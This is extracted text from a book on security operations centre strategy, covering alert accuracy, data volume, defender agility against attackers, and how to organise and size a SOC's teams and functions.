Just because an IDS alerted that “the Web server has been hacked” does not mean that the Web server was actually hacked. Each event that detection tools generate falls into one of four catego - ries, depending on whether alert fired and whether something bad actually happened: 1. True positives. Something bad happened, and the system caught it. 2. True negatives. The activity is benign, and no alert has been generated. 3. False positives. The system alerts, but the activity was not actually malicious. 4. False negatives. Something bad happened, but the system did not catch it.Observable behavior network traffic,system behavior,log data Knowledge of theenvironmentvulnerability scans,maps, mission Cyber intelligencenews, tippersTTPs across kill chain(exploits, C&C, etc.),baselines of “normal”Knowledge of good or bad behavior PolicyAuthor& Edit (e.g., signature list).(i.e., definiton of know good or badbehavior)Detection Policy Detection Engine Events Filter Filter Stored for later analysis ortrending D isplayed to the analyst Tuning Feedback Figure 6 CND Tools in the AbstractFundamentals T en Strategies of a World-Class Cybersecurity Operations Center37 The most prominent challenge for any monitoring system—particularly IDSes—is to achieve a high true positive rate. In both academia and commerce, creators and salespeople for monitoring systems strive to prove that their system never misses a successful hack ( i.e., it never has false negatives). However, this often comes at the price of a torrent of false positives, as discussed in [55] . Too many false posi - tives compel analysts to spend inordinate amounts of time wading through data or, worse, ignoring a tool entirely because the good signal is lost in the noise. On 20 April 2010, a Transocean oil rig off the coast of Louisiana exploded, killing several workers and spilling millions of gallons of oil into the Gulf of Mexico. The disaster and demise of the rig, Deepwater Horizon, cost millions of dollars in direct business and economic damage, not to mention the environ - mental disaster and cleanup that followed for months and years [56]. A number of factors precipitated this event; we will focus on one—the rig’s safety alarm systems. The alarms for one of the safety systems on the rig were disabled because they went off too often. To avoid wakening maintenance personnel in the middle of the night, the alarms were essentially deactivated for a year prior to the explosion [57] . One of the main themes of the Transocean incident was that ongoing maintenance problems pre - vented the safety systems from operating and alerting correctly. The Transocean incident shows that an analyst becoming numb to even the most serious of alarms can have disas - trous consequences. While the Transocean disaster happened for a number of reasons, ignoring safety alarms clearly did not help. False positives often outnumber true positives in any detection system. Leveraging robust detection engines, continual tuning and filtering, and analysis leveraging rich contextual data are critical to ferreting out what is truly of value. Labeling a nonmalicious event a “false alarm” presumes that the signature author’s intent was to detect some sort of malicious activity; sometimes this is not the intent. SOCs Figure 7 The Four Categories of Activity Bad behaviorAlerts firedAll behaviorFalse positives False negativesTrue positives True negatives 38 often choose to activate vari - ous IDS signatures and accept log feeds because they will leverage the data for contex - tual or retrospective analysis, not because they serve as tip-offs. A fleet of IDS sensors may generate thousands of “good” tip-offs a day, while millions of audit logs are col - lected to back them up. These low-priority “ audit” events are not false positives, considering that their intent was not to indicate “badness.” For example, an IDS may be configured to log all Web requests because the SOC does not have Web proxy logs at its disposal. The resulting events are not false positives; they indi - cate exactly what was intended—Web requests. Just one IDS sensor or log data source can generate more than 100,000 events each day. Tools such as SIEM facilitate and automate alert triage. As a result, the SOC can actually be more liberal with their signature policies. More frequent events usually are the ones more ripe for correlation, trending, or, perhaps, tuning, whereas the rare events usually are more interesting as tip-offs. Some IDS and SIEM tools provide complete details of the signature or rules that are used by the system to generate alerts, along with the raw data that generated the alarm. Therefore, one could assert that there is no such thing as a false positive, only an analyst who does not know how to interpret the results. The term “false positive” may be best used in reference to an event generated by a signature whose intent was to indicate “bad - ness,” but some flaw in its accuracy or precision caused it to alarm under incorrect circum-stances. Signature precision is always a challenge, and, although most IDSes integrate the concept of event priority, they do not integrate the concept of confidence. That is, what is the precision and accuracy of the signature relative to the activity of concern? 2.7.4 D ata Quantity Not all data is created equal, and the SOC must prioritize which data to aggregate, process, and store, according to what it expects to get out of that data. The SOC must recognize the limitations of its tools, gauge the detection and analysis use cases it wants to support, and properly size the amount of data it collects. Too little data and the tools are underutilized. Fundamentals Figure 8 Balancing Data Volume with ValueTools operate at less than total capacity ; value of the tool’s output may not justify its total cost of ownership.We have reached the peak amount of the data the tool and analysts can proces s, without exceeding their capabilities. Analysts and tools are overwhelmed ; signal is lost in the noise. Amount of data (events/day) Data value T en Strategies of a World-Class Cybersecurity Operations Center39 Too much data and two problems exist: (1) the signal is lost in the noise, and (2) the sys - tems cannot handle the data load in terms of ingest or query performance, or both. Think of it this way. Miners spend tremendous resources digging through dirt, sand, and rock to find precious materials such as gold or diamonds. They must choose the right dirt to sift through to maximize resources spent on finding valuable material in a given day. If they choose to indiscriminately dig through a huge mountain of dirt, it is unlikely that they will uncover the most mineral-rich deposits. Better and bigger tools help them process more dirt, but the principle stands—they must first find the right place to dig. SIEM can enhance the value of just a few low-volume data feeds, but most COTS SIEMs have a high acquisition and maintenance cost. As a result, it is not cost efficient to deploy a multimillion-dollar SIEM and only bring in 10,000 events a day (considering that Perl scripts and grep might do the job for free). As we discuss in Section 8.4 , log aggrega- tion appliances and SIEM are usually worthwhile when event rates are measured in mil - lions per day, or more than a handful of data types are available to be gathered. Figure 9 provides another way to look at the data ingestion challenges.FOSS tools such as Perl scripts, grep, and the like provide a number of interesting ways to slice and dice log data, especially when the operator must handle thousands or perhaps a few million a day. However, moving along the chart toward the right suggests that larger, more diverse data sets will gain more value by leveraging log collection and SIEM’s frame - work and analytics. Many SOCs deal with event rates measured in the tens or hundreds of millions per day, in which case they will typically choose an LM appliance or a SIEM tool, or a combination thereof. The SOC also must weigh trade-offs between custom tools that provide more flexibility and commercial tools that have vendor support, all while factoring in the total cost of ownership (TCO). The “collect everything” strategy is not a good one when we have limited analysts, hard drive space, and cen - tral processing unit (CPU) cycles. For instance, many organizations are sub - ject to an audit policy along the lines of “record access or modification to key information.” Defining “key” is univer - sally problematic and usually ends up encompassing almost any system or database of consequence. The policy then is often interpreted as “generate and col - lect audit records for every file read/write Amount of data (event s/day) RawManual tools Native device consoleBasic log aggregation SIEM w/ advanced analytics 1,000 10,000 100,000 1 million 10 million 100 million 1 billionValue of data/cost of implementation Figure 9 Data Volume Versus Value in Practice 40 on every system in the enterprise.” These audit records will dwarf most other data feeds, obligating system resources and crushing every audit collection system in its path. The moral is this: No matter how good the tool or analyst, overzealous efforts to generate and aggregate huge amounts data into one place diminish the value of good data because it is lost in the noise of worthless data. The old saying “looking for a needle in a haystack” is commonly used to refer to the bulk of CND monitoring, especially when analysts lack either effective data reduction and correlation tools or context for the data they are examining. Some SOCs collect as much useful, security-relevant data as they think will be relevant ahead of time, and mine it later for actionable indicators. This strategy works for SOCs that have storage, processing power, and analyst cycles to spare, which, of course, is not always the case. Operating a fleet of monitoring capabilities requires the SOC to be constantly vigilant because the threat landscape and the makeup of the constituency are constantly changing. Data feeds go down, sensors become unplugged, new signatures come out, and so forth. Many SOCs lose sight of these facts, which is perhaps the main reason that IDS and SIEM deployments often are seen as lacking value. One of the most important aspects of moni - toring the constituency is: Monitoring systems such as IDS and SIEM are not “fire and forget”—they require regular care and feeding. These themes are discussed later in the book, especially where we discuss instrument - ing the enterprise and where we consider how to detect the APT. 2.8 Agility If the SOC has a worst enemy, some might say that it is the APT. The adversary acts, reacts, and changes strategies quickly—its version of the OODA Loop decision cycle is usually tightly wound. How fast do large organizations such as government agencies or Fortune 500 compa-nies act in cyberspace? Usually not in seconds. In many cases, the SOC must expend all of its effort just to maintain the same pace of advancement as the adversary; this is further com-plicated by a constantly changing constituency enterprise. The SOC must expend even more effort to actually advance its capability. This fact is highlighted in the cover of this book.Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center41 Consider the issues we must wrangle with: design by committee, change control, ambiguous or conflicting lanes of responsibility, slow network performance, decentralized control, and laborious policies and procedures. Of all the things that undermine the SOC’s ability to spot and repel attacks, most often it is the lack of speed and freedom with which the SOC may act—a lack of agility . The key to effective CND is having the people, process, and technology that enable the SOC to maintain parity with the adversary. The best SOCs stand out in a number of ways, but a high operations (ops) tempo is one of the most prominent. Let’s compare the adversary’s decision cycle with the ops tempo of an effective SOC with a constituency of around 20,000 hosts and users. In Table 3, the Attacker column outlines what today’s APT actors can do in given time ranges—from years to seconds. The Defender column outlines what the defender must do to maintain parity with the attacker, within the same sorts of time spans. The Attacker column is descriptive , while the Defender column is prescriptive —not how it is but how it should be . Table 3 Ops Tempo of the Attacker Versus the Defender Attacker DefenderYearsEvolve new classes of attacks.Make new defense techniques operational. Gather and execute funding, contracting, and technology deployment for a new SOC.MonthsDevelop teams of participant script kiddies or thousands of “bots” able to target multiple large enterprises. Execute an entire intrusion campaign against a large, complex target such as a Fortune 500 company or a gov-ernment agency. Conduct a technical bake-off among multiple competing products. Recap network or host sensor fleets. Fully instrument a data center with monitoring coverage. Hire IT professionals and train them as Tier 1 CND analysts. Draft, socialize, finalize, and sign enabling policy documents and authorities.WeeksPerform detailed reconnaissance on a targeted organization. Develop local or remote exploits against an application, from scratch. Exfiltrate terabytes of sensitive data.Develop, deploy, and make operational complex custom detection and analytics tools such as Perl scripts and SIEM use cases. Revise, review, and baseline an internal SOC stan- dard operating procedure (SOP). 42 Table 3 Ops Tempo of the Attacker Versus the Defender Attacker DefenderDaysOnce inside, thoroughly enumerate and take over an entire enterprise. Weaponize a patch release into an attack vector.Do a monthly/quarterly scrub of all signatures deployed to an IDS fleet or content deployed to SIEM. T est and push a major patch to an enterprise.Analyze and document the contents of a hard drive image from a system involved in a serious incident. Assess the actions and potential motives and intentions of an adversary operating on constitu- ency networks.HoursOnce inside an enterprise, escalate from user to administrative privileges.Develop or download and deploy IDS signatures to a fleet of sensors. Identify, analyze, and develop a response plan to an intrusion involving multiple systems or accounts. Provide cursory analysis of the payload for a new strain of malware. Identify and recover from a downed sensor or data feed. Gather stakeholders and brief them on details of a major incident in progress.MinutesPhish a large enterprise user population. Establish a covert sustained presence on a host. Exfiltrate targeted sensitive data from key assets.Query each month’s log data for any system in an enterprise and gather results. Retrieve a week’s worth of indexed PCAP from online storage for a given set of IP addresses. Recognize an event of concern and tag it as benign or fill out a case and escalate it to Tier 2. Isolate an infected host.Identify and contact a sysadmin at a site whose system was involved in a potential incident. Automatically extract an email attachment from the network, execute it in a detonation chamber, and analyze it for signs of malicious activity.Fundamentals T en Strategies of a World-Class Cybersecurity Operations Center43 Table 3 Ops Tempo of the Attacker Versus the Defender Attacker DefenderSecondsCompromise a host through drive-by downloads or remote exploitation. Hop from one stepping-stone IP or domain to another, circumventing IP block lists. Morph specific attack code, thereby circumventing signature-based IDS. Exfiltrate a handful of highly sensitive documents from a website or network share.Automatically prevent an attack at the network or host through a protective tool such as HIPS. Generate an audit entry and send it to a SIEM console. T rigger an IDS alert and send both the alert and the associated packet to the SIEM console. Consider organizations that you are familiar with. Can they move with this kind of speed? Even if they can, gaps still exist between how fast the attacker can move and how quickly the defender decides the best response approach (e.g., the difference between how fast an attacker can hop IPs or domains and how fast the defender can block it). Keep these time spans in mind in later sections of this book as to how people, process, and technology are marshaled to enable effective network defense. In the following ten sections, we use the foundational matter we have just discussed to cover the ten strategies of world-class SOCs in detail. 44Chapter 3 Stra tegy 1: Consolidate CND Under One Organization The first strategy is the most obvious but the least often followed: con - solidate functions of CND under one organization whose sole mission is executing the CND mission. As discussed in Section 2.8 , SOCs must be able to respond in a time scale relevant to the actions of the adversary. As a result, elements of CND must be tightly coupled. Bringing the CND mission into a single organization makes possible the following goals: ‚Operations are synchronized among the elements of CND. ‚Detection and response are executed efficiently, without sacrificing accuracy, effectiveness, or relevancy. ‚Resources spent on CND can be maximized. ‚Cyber SA and incident data is fed back into CND operations and tools in a closed loop. ‚Consolidated, deconflicted SA is provided to the director of incident response and his/her management chain. As a result, we recognize five indivisible, atomic elements of CND that should be under one command structure: 1. R eal-time monitoring and triage (Tier 1) 2. I ncident analysis, coordination, and response (Tier 2 and above) 3. C yber intel collection and analysis 4. S ensor tuning and management and SOC infrastructure O&M 5. S OC tool engineering and deployment. T en Strategies of a World-Class Cybersecurity Operations Center45 As we describe in Section 4.2 , there are many different ways to bring these under one roof; that said, here is one typical organizational structure with functional responsibilities: Unfortunately, contact with several dozen government and commercial SOCs reveals that CND is frequently broken into multiple independent organizations. For instance, we might see Tier 1 IDS monitoring in a NOC, but Tier 2 incident response located in the office of the CIO. When we divide up these core functions, we typically see one or more of the following: (1) depressed ops tempo, (2) broken or ineffective internal processes, (3) ineffective com-munication, (4) slow improvement in mission capability, and (5) animosity/distrust among different parties supporting CND. The result, of course, is a subtle yet profoundly negative impact on the defensive posture of the constituency. Consider the consequences of remov - ing each of the core functions of the SOC: ‚Real-time monitoring and triage or incident analysis, coordination, and response: • The incident escalation and follow-up process is disjointed and fragmented. • Incidents are slow to be followed up, and Tier 1 receives little feedback. Figure 10 All Functions of CND in the SOC• Call center • Realtime monitoring & triage • Cyber news collection & analysis• Incident analysis • Incident coordination & response • Forensic artifact handling & analysis • Malware & implant analysis • Tradecraft analysis • Insider threat case support• Cyber news: collection & analysis, distribution, creation, fusion • Trending • Threat assessment • Tradecraft analysis• SOC infrastruc- ture O&M • Sensor tuning & maintenance • Custom signature creation • Scripting & automation • Audit collection & storage• Tool engineer- ing & deployment • Scripting & automationTier 1 Tier 2+ Trending & IntelSOC System Admin SOC EngineeringSOC Chief 46 • Quality control of what comes off the ops floor is hard to correct. • Career progression, and thus retention, of analysts is stunted. • In some scenarios, CND monitoring architecture and tool set are badly frac - tured, usually due to subtle differences in user requirements and decentralized resourcing. ‚Cyber intel collection and analysts: • Nothing drives focus or improvement to SOC monitoring. • The SOC does not keep pace with the current threat environment. • The SOC is not viewed as resource for cyber SA by constituents. • Monitoring tools poorly leverage TTPs and indicators from available cyber intel sources and, thus, do not maintain parity with current threats and vulnerabilities. ‚Sensor tuning and management: • SOC systems fall into disrepair. • Downtime of SOC systems is prolonged because responsible personnel are not accountable to SOC management. • Sensors lack current signatures. • Monitoring and incident results do not drive improvements or customizations to signature packages or SIEM content. • The SOC cannot maintain effective separation and protection from the rest of the constituency because its sysadmins and/or tools are thrown into the general pool of IT support. • Systems go down, and SOC personnel’s hands are tied when applying tactical cor - rective actions or resolving larger system design issues. ‚SOC tool engineering and deployment: • Intense distrust develops between SOC and engineering because of overlapping technical knowledge, but divided priorities and vision. • Engineering does not match operational priorities of SOC, both in terms of timely delivery of new capabilities and the needs of the operator. • The artificial division between ops and engineering causes confusion over responsibilities; the separate process restricts the SOC from leveraging tactical solutions. • Because the engineers are not embedded in ops, they do not fully understand the operators’ needs, regardless of how robust and detailed the requirements specification. • Many SOC capabilities are best developed in a spiral fashion, providing immediate benefit to ops, and can change as the mission demands it; engineering life cycles where projects are “thrown over the fence” do not support this.Consolidate CND Under One Organization T en Strategies of a World-Class Cybersecurity Operations Center47 • Ambiguity over funding sources for SOC capabilities can make coordinating pro - gram funding, capital expenditures, and maintenance budgeting problematic. • Fractured CND program budgeting can introduce an imbalance in money for tools, staff, and training. Based on our discussion from Section 2.8 , one can see how splitting up these functions of the SOC can have overwhelmingly negative consequences. SOCs that are fractured in this manner might achieve some success if three compensating measures are enacted: 1. T he removed capability resides in a single organization; that is, if SOC infrastruc - ture O&M is pulled out, it is assigned to another group whose sole responsibility is that job. 2. T he managers of respective organizations (such as SOC ops and engineering) have an excellent working relationship, mutual respect, and constant communication with one another. 3. T he organization that operates the capability pulled away from the SOC is still accountable to it through policy, procedures, and, perhaps, a contractual relationship. Many SOC implementations separate tool engineering and some aspects of system administration from the SOC. This is especially problematic for reasons not recognized by many outside the CND practice. As we will discuss in Sec t ion 7.1 , two prerequisites for being an effective analyst are a strong background in programming and in network/system administration. As a result, a SOC will naturally have the expertise necessary for SOC tool engineering and deployment in house. If they are not allowed to perform this function for process reasons, it breeds intense frustration and animosity between engineering and ops. The CND ops tempo demands solution delivery in days or weeks, not months or years. One reason often cited for pulling engineering out of the SOC is to enforce CM. This is a fallacious argument, considering that robust CM processes can (and should) be imple - mented entirely within the SOC, along with code review and system hardening. Another argument made is that ops and engineering fall under separate lines of business. Because CND demands a unique mind-set and skill set, there is an argument to be made for except - ing the SOC from this organizational construct. Also foreshadowing Sec t ion 7.1 , CND personnel are not interchangeable with staff from other areas of IT, further bolstering this argument. Do not break apart the five atomic SOC functions into disparate organizations; this will almost always work to the detriment of the CND mission. 48 In fact, bringing these functions into one organization (the SOC) usually isn’t enough—they also should be physically collocated. For instance, if engineering is located in Omaha and ops is located in Atlanta, collaboration and mutual support will likely suffer. Personnel supporting these capabilities should collaborate on a daily or weekly basis, a topic we return to in Section 4.2 .Consolidate CND Under One Organization 49Chapter 4 Stra tegy 2: Achieve Balance Between Size and Agility SOCs serve constituencies of almost every size, business function, and geographic distribution. The SOC’s structure must correspond to that of its constituency, balancing three needs: 1. T he need to have a cohesive team of CND specialists 2. T he need to maintain logical, physical, or organizational proximity to the assets being monitored 3. T he budgetary and authority limitations inherent in the constitu - ency served. In our second strategy, we seek to strike a balance among these com - peting needs. As a result we have three closely linked choices to make: 1. W hat SOC organizational model is the right fit 2. H ow to place SOC functions into sections with line managers and command structure 3. W here to physically locate members of the SOC, and how to coor - dinate their activities. In order to realize this second SOC strategy, we will cover each of these choices in turn. In this section, we also lay out a number of concepts that we build upon in later sections. 50 4.1 P icking an Organizational Model 4.1.1 Drivers Key drivers for determining which organizational model is best for the enterprise include: ‚Size of constituency, in terms of users, IP addresses, and/or devices ‚Frequency of incidents ‚Constituency concerns for timeliness and accuracy of incident response. Size of constituency is both a driver and a challenge. We need to build up a group of well-resourced CND professionals, but they need to maintain visibility out to the edge, operate within the decision cycle of the adversary, and maintain resourcing levels propor - tional to the constituency’s IT budget. For instance, in larger constituencies, the desire to build a team that covers the whole enterprise may be overshadowed by the team’s resulting inability to maintain mission relevancy and agility. The further an analyst is separated from monitored assets—logically or physically—the less he/she is able to maintain context and sense of what is normal and abnormal behavior on those hosts and networks, and able, therefore, to respond in a relevant or timely manner. This fact is absolutely key to understanding how best to structure security operations in large enterprises. Without strong SA and operational agility, even world-class analysts and tools will be of little value. Luckily, we can use the organizational models discussed in Section 2.3.2 to help us resolve these competing needs. A team of analysts can maintain familiarity with only so many assets and enclaves. Our goal here is to structure our analysis resources in a way that they can do that while still operating as one team, working toward a common set of objec - tives with a synchronized ops tempo. Most CND practitioners are used to working in a paradigm where they have direct access to raw data and can directly impact the assets they are monitoring. The critical issue is: how do we do this with larger and larger constituencies in a relevant, meaningful, Achieve Balance Between Size and Agility Figure 11 R ightsizing the ConstituencyConsolidated authority, resourcing Ability to sustain coherent cadre of CND specialists Visibility down to end asset, network Agility, relevancy, precision of response & countermeasuresBigger Critical Balance SmallerSize of consistency: users/IPs10,000,000+ 1,000,000 100,000 10,000 1,000 100 T en Strategies of a World-Class Cybersecurity Operations Center51 and productive fashion? As of the writing of this book, the answer to this question is not widely agreed upon. 4.1.2 T ypical Scenarios Using what we have discussed so far, we will create five SOC “templates” that we will use throughout the rest of the book, for illustrative and demonstrative purposes. They are shown in Table 4. Table 4 SOC Templates 1. Virtual SOC Organizational Model Internal Distributed SOC. Constituency Size 1,000 users/IPs. Visibility None/poor. Limited, ad hoc postmortem log review. AuthorityNo reactive, no proactive: authorities to prevent or respond to incidents are often vested in the SOC’s parent organization. ExamplesSOCs serving small to medium-sized businesses, colleges, and local governments. RemarksComprised of a decentralized pool of resources, this SOC most likely operates out of the office of the CIO, office of the CISO, or in the NOC (if one exists). Incidents do not occur often enough to necessitate constant monitoring. 2. Small SOC Organizational Model Internal Centralized SOC. Constituency Size 10,000 users/IPs. VisibilityLimited to good. Instrumentation across major perimeter points, some hosts, and enclaves. AuthorityShared reactive, shared proactive: the SOC is a voting member in decisions that drive preventative or responsive actions. ExamplesSOCs serving medium-sized businesses, educational institutions (such as a university), or government agencies. RemarksResources for security operations are consolidated under one roof. However, the size of the SOC’s budget is limited due to the size of the constituency. If part of a larger organization such as a commercial conglomerate or a large government department, the Small SOC may report to a Tiered or National SOC. 52 Table 4 SOC Templates 3. Large SOC Organizational Model Internal Centralized SOC, with elements of Distributed SOC. Constituency Size 50,000 users/IPs. Visibility Comprehensive. Instrumentation across most hosts and enclaves. AuthorityFull reactive, shared proactive: the SOC can enact tactical respon- sive actions on its own, and carries weight in recommending pre-ventative measures. ExamplesSOCs serving Fortune 500 [58] and Global 2000 [59] companies and large government agencies. RemarksThis SOC is large enough to support advanced services performed from a central location, but it is small enough to perform direct monitoring and response. In more heterogeneous or geographi-cally dispersed constituencies, the Large Centralized SOC may leverage a “hybrid” arrangement with some staff at remote sites for some monitoring and response functions. 4. Tiered SOC Organizational ModelInternal Combined Distributed and Centralized, blended with Coordinating SOC. Constituency Size 500,000 users/IPs. VisibilityVaries. Some direct data feeds from end assets and enclaves; most data goes to subordinate SOCs. AuthorityFull reactive, shared proactive: the SOC can enact tactical respon-sive actions on its own, including those that may impact subor - dinate SOCs, and carries weight in recommending preventative measures. ExamplesSOCs serving multinational conglomerates and large, multidisci-plined government departments. RemarksDue to the size of the constituency, this SOC has multiple distinct SOCs. There is a central coordinating SOC with its own directly monitored assets and enclaves, most likely located at or near the constituency headquarters and the constituency Internet gateway. There are also multiple subordinate SOCs that reside within given business units or geographic regions, whose operations are syn- chronized by the central SOC.Achieve Balance Between Size and Agility T en Strategies of a World-Class Cybersecurity Operations Center53 Table 4 SOC Templates 5. National SOC Organizational Model Coordinating SOC. Constituency Size 50,000,000 users/IPs, represented by constituent SOCs. VisibilityLimited but widespread. No or limited access to raw data by design; depends entirely on incident reporting from constituent SOCs; does not directly monitor constituency. AuthorityNo reactive, no proactive: despite its powerful name, it is atypical that a national-level SOC can exert substantial authority over its constituents; usually it acts in an advisory role. Examples SOCs serving entire national governments or nations. RemarksThis is a classic national-level SOC that supports dozens to thou- sands of SOCs within its borders, across governmental, corpo- rate, and educational institutions. Either it does not perform direct monitoring, or, if it does, it provides tippers to its constituent SOCs for follow-up. We will sometimes refer to these organizations as “mega-SOCs.” Constituent SOCs operating within the mega-SOC’s constituency operate mostly autonomously, which sets this model apart from the Tiered model. With the first three templates, the SOC is able to maintain direct contact with the con - stituency, due to its modest size. The last two templates must use sophisticated approaches to support SA to the edge while coordinating CND operations in constituencies of progres - sively larger sizes. In Section 4.3 , we will examine strategies for achieving these goals. 4.2 S tructuring the SOC In this section, we take two of the SOC templates from Section 4.1 with potential capabilities from Section 2.4 to construct a few typical SOC organizational charts. This should give the readers some ideas on how to structure their own SOC to better support smooth operations, without getting into every permutation of what a SOC might look like. Some strategies we use in structuring the SOC are as follows: ‚Put analysts in roles where they function best, but have room to grow both their own capabilities and the SOC mission. ‚Maintain separation of duties and eliminate single points of failure to the maximum extent possible. ‚Synchronize elements of CND operations so all elements are working in concert toward the same goal, especially during a critical incident. 54 ‚Balance energy spent on “managing” with resources devoting to “doing.” ‚Support the SOC’s intended range of capabilities. 4.2.1 S mall SOC Smaller SOCs, in the range of five to 20 people, often find a relatively simple approach to arranging their staff. This is because with few people, there is comparatively less diver - sification of roles and there are few positions that don’t involve full-time analyst work. A classic Small SOC will include two or three sections: 1. T ier 1. Includes analysts who perform routine duties such as watching IDS or SIEM consoles, collecting cyber news, and fielding phone calls from constituents 2. T ier 2. Performs all in-depth analysis on incidents passed to it by Tier 1 such as log and PCAP analysis, and coordinates response to incidents with constituents 3. S ystem administration. Maintains SOC systems and sensors, which may include engineering and deployment of new capabilities.Achieve Balance Between Size and Agility Figure 12 Small SOC• Call center • Realtime monitoring & triage • Cyber news collection, analysis, distribution • Emergency alerts & warnings • Vulnerability scanning• Incident analysis• Incident coordination & response • Remote incident response • Forensic artifact handling • Insider threat case support • Malware & implant analysis • Trending• Cyber news analysis & fusion• SOC infrastructure O&M • Sensor tuning & maintenance • Tool engineering & deployment • Custom signature creation • Scripting & automationTier 1 Lead(s)SOC ChiefFront Office Finance Admin SOC Website Tier 2 Lead(s)System Admin Lead T en Strategies of a World-Class Cybersecurity Operations Center55 A SOC with this structure can serve a modestly sized constituency while separating “frontline” analysis from in-depth analysis and response. It is shown in Figure 12. Some SOCs that enforce a tiered analysis structure do not necessarily split the tiers into separate sections. As a variation on the structure shown in Figure 12, we could combine all Tier 1 and Tier 2 duties into one large section with a single operations lead. In this arrangement, we would have two teams—operations and system administration. The other benefit of this setup is that the operations lead can also function as a deputy SOC lead. Most SOCs of this size have a hard time pulling Tier 2 analysts away from the daily grind of processing incidents. In addition, there are many incidents that stem from activity that does not fall into the structured use cases handed to Tier 1. If this is not corrected, the SOC will likely suffer from stagnation and increased turnover. Foreshadowing Section 11 , some SOCs have found it valuable to establish a separate “advanced capabilities” section, shown in Figure 13. This section’s roles may vary, but usually incorporate functions such as “Tier 3+” incident analysis, process improvement, and advanced threat detection/ Figure 13 Alternative Arrangement for a Small SOC• Call center • Realtime monitoring & triage • Cyber news collection, analysis, distribution • Emergency alerts & warnings • Vulnerability scanning• Incident analysis • Incident coordination & response • Remote incident response • Forensic artifact handling • Insider threat case support• SOC infrastructure O&M • Sensor tuning & maintenance • Tool engineering & deployment• Tool engineering & deployment • Custom signature creation • Scripting & automation • Malware & implant analysis • Tradecraft analysis• Trending• Cyber news analysis & fusionTier 1 Lead(s)SOC ChiefFront Office Finance Admin SOC Website Tier 2 Lead(s)System Admin LeadAdvanced Capabilities 56 response. The advanced capabilities team can be composed of staff (pulled from Tier 2) who demonstrate initiative and out-of-the-box thinking and can be rotated in and out of duties that place them in the “daily grind.” 4.2.2 L arge SOC A large constituency can support a SOC with an advanced set of capabilities and full-fledged division of roles and responsibilities. Following our discussion of the Small SOC from the previous section, we have added the following features: ‚Tier 1 focuses on fielding phone calls and catching real-time alerts and warnings in the SIEM or other sensor console(s), as a Small SOC does. ‚Tier 2 focuses on running incidents to ground, regardless of whether it takes hours or months, as a Small SOC does. ‚We have a new section that is responsible for ingesting trending cyber intel and ana-lyzing network activity and adversary TTPs over months and years. • This job is often the most ambiguous because analysts are asked to look for open-ended, unstructured threats not currently on the radar. • This section is best staffed by self-starters and out-of-the-box thinkers (e.g., the “rock stars” mentioned in Section 7.1.1 ). ‚We have added a host of new capabilities and created a new section that performs both routine network and vulnerability scanning and Blue/Red Teaming for constitu - ency networks and systems. ‚O&M and engineering of SOC systems have been divided into distinct groups under one shop, “Systems Life Cycle.” ‚Within the system administration shop, we will likely have one or two people devoted to each of the most important sensor packages and SIEM. ‚The SOC is large enough that it usually has a dedicated deputy position, which may or may not be in addition to the role of ops lead. ‚Some SOC chiefs will find it useful to designate middle-level managers in each func - tional area—analysis and response, scanning/assessment, and system life cycle. ‚The “front office” may be added to take away administrative, budgeting, or CM bur - dens from SOC leads. ‚Although not pictured, if the SOC chooses to integrate maintenance of perimeter pro - tection devices such as firewalls, this can be integrated under the systems life cycle lead as a third team. It may be possible to achieve the same separation of duties for these functional areas in the Small SOC model, but in doing so some staff may be “pigeonholed” into one role, Achieve Balance Between Size and Agility T en Strategies of a World-Class Cybersecurity Operations Center57 increasing the adverse impact of staff turnover. On the other hand, in the Large SOC, almost every core function is carried out by two or more people. A potential organizational model for a Large SOC is depicted in Figure 14.When a SOC gets this large, it is important to ensure there is effective cross-training and cross-pollination. Engineering must stay cognizant of the ops group’s main challenges and “pain points” and how to quickly leverage 90 percent solutions. As a result, we can rotate personnel into engineering and development positions, as we did with the advanced capabilities team in the Small SOC model. Moreover, even though we may have multiple layers of management, operators in one section should not hesitate to work directly with any other part of the SOC. Figure 14 Example: Large SOC• Vulnerability assessment • Penetration testing • Product assessment • Security consulting• Network scanning • Vulnerability scanning • Situational awareness• Call center • Realtime monitoring & triage • Cyber news collection &analysis • Incident analysis • Incident coordi- nation & response • Remote incident response • Forensic artifact handlin g & analysi s • Malware & impant analysis • Tradecraft analysis • Insider threat case suppor t • Cyber new s: Collection & analysi s, distributio n, creatio n, fusion • Emergency alerts & warnings • Trending • Threat assessment • Tradecraft analysi s • SOC i nfra- structure O&M • Sensor tuning & maintenance • Custom signaturecreatio n • Scripting & automation • Audit collection & storage• Tool engineering & deployment • Scripting & automatio n Trending Lead Tier 2 Lead(s) Tier 1 Lead(s) Engineering LeadSystem Admin Lead VA /PT LeadScanning LeadSystems Life Cycle Lead Scanning & Assessment LeadAnalysis & Response Lead SOC Chief SOC Deputy Chi efFront Office Finance Admin SOC Website 58 4.3 S ynchronizing CND Across Sites and Organizations The SOC can find its physical location a great help or hindrance, depending on a number of factors. In Section 4.1.1 , we talked about the balancing act between SOC size and the need to maintain closeness to the end asset and mission. This may compel us to place SOC per - sonnel at multiple sites, as in distributed or tiered organizational models. In this section, we address the following intertwined issues: ‚Where the SOC should be physically placed ‚How to arrange SOC resources distributed among several locations ‚How to split out duties between a central coordinating SOC and subordinate SOCs, all within one large organization ‚Suggested roles and responsibilities for national coordinating SOCs. In Section 3 , we mentioned how the five atomic functions of the SOC should never be broken apart into separate organizations. While we should centralize CND organization - ally, we may elect to distribute it physically. So we will offer an important corollary to the previous point: Close physical proximity is instrumental in maintaining a synchronized ops tempo and priorities among parts of the SOC. While we have plenty of affordable real-time telecommunications capabilities—Voice Over Internet Protocol (VoIP), video teleconferencing, real-time chat, and desktop web - cams—it is rare in an operations shop that we can use them to completely replace physical presence. When different sections of the SOC are moved apart—even to different rooms in the same building—collaboration can suffer. For this reason, we often mix elements of centralized and distributed organizational models, such as leveraging “forward deployed” analysts to reinforce Tiers 1 and 2 at the main SOC ops floor. 4.3.1 G oals and Drivers Let’s highlight some of the needs that we want to meet in making decisions on where to physically place SOC resources. (See Table 5.) We will use these drivers in the following sections to examine some strategies for the SOC templates from Section 4.1.2 . Achieve Balance Between Size and Agility T en Strategies of a World-Class Cybersecurity Operations Center59 Table 5 C onsiderations for SOC Placement Goal Discussion Provide the SOC with a physical space that meets the SOC’s mission needsWith the exception of virtual SOC, a physical operations floor will be needed. This usually entails an ops floor, back offices, and server room, all with secure access. This also means having ample bandwidth to constituency wide area net - works (WANs), campuses, and data centers. Existing constituency office facilities and data centers may meet these needs better than other options. Synchronize operations among the sections of the SOC The atomic functions of CND must be brought into one organization, the SOC. It is also highly useful to bring them under one roof, supporting regular, healthy, and usually informal collaboration. Maintain clear lines of separation between SOC functions and IT and cybersecurity 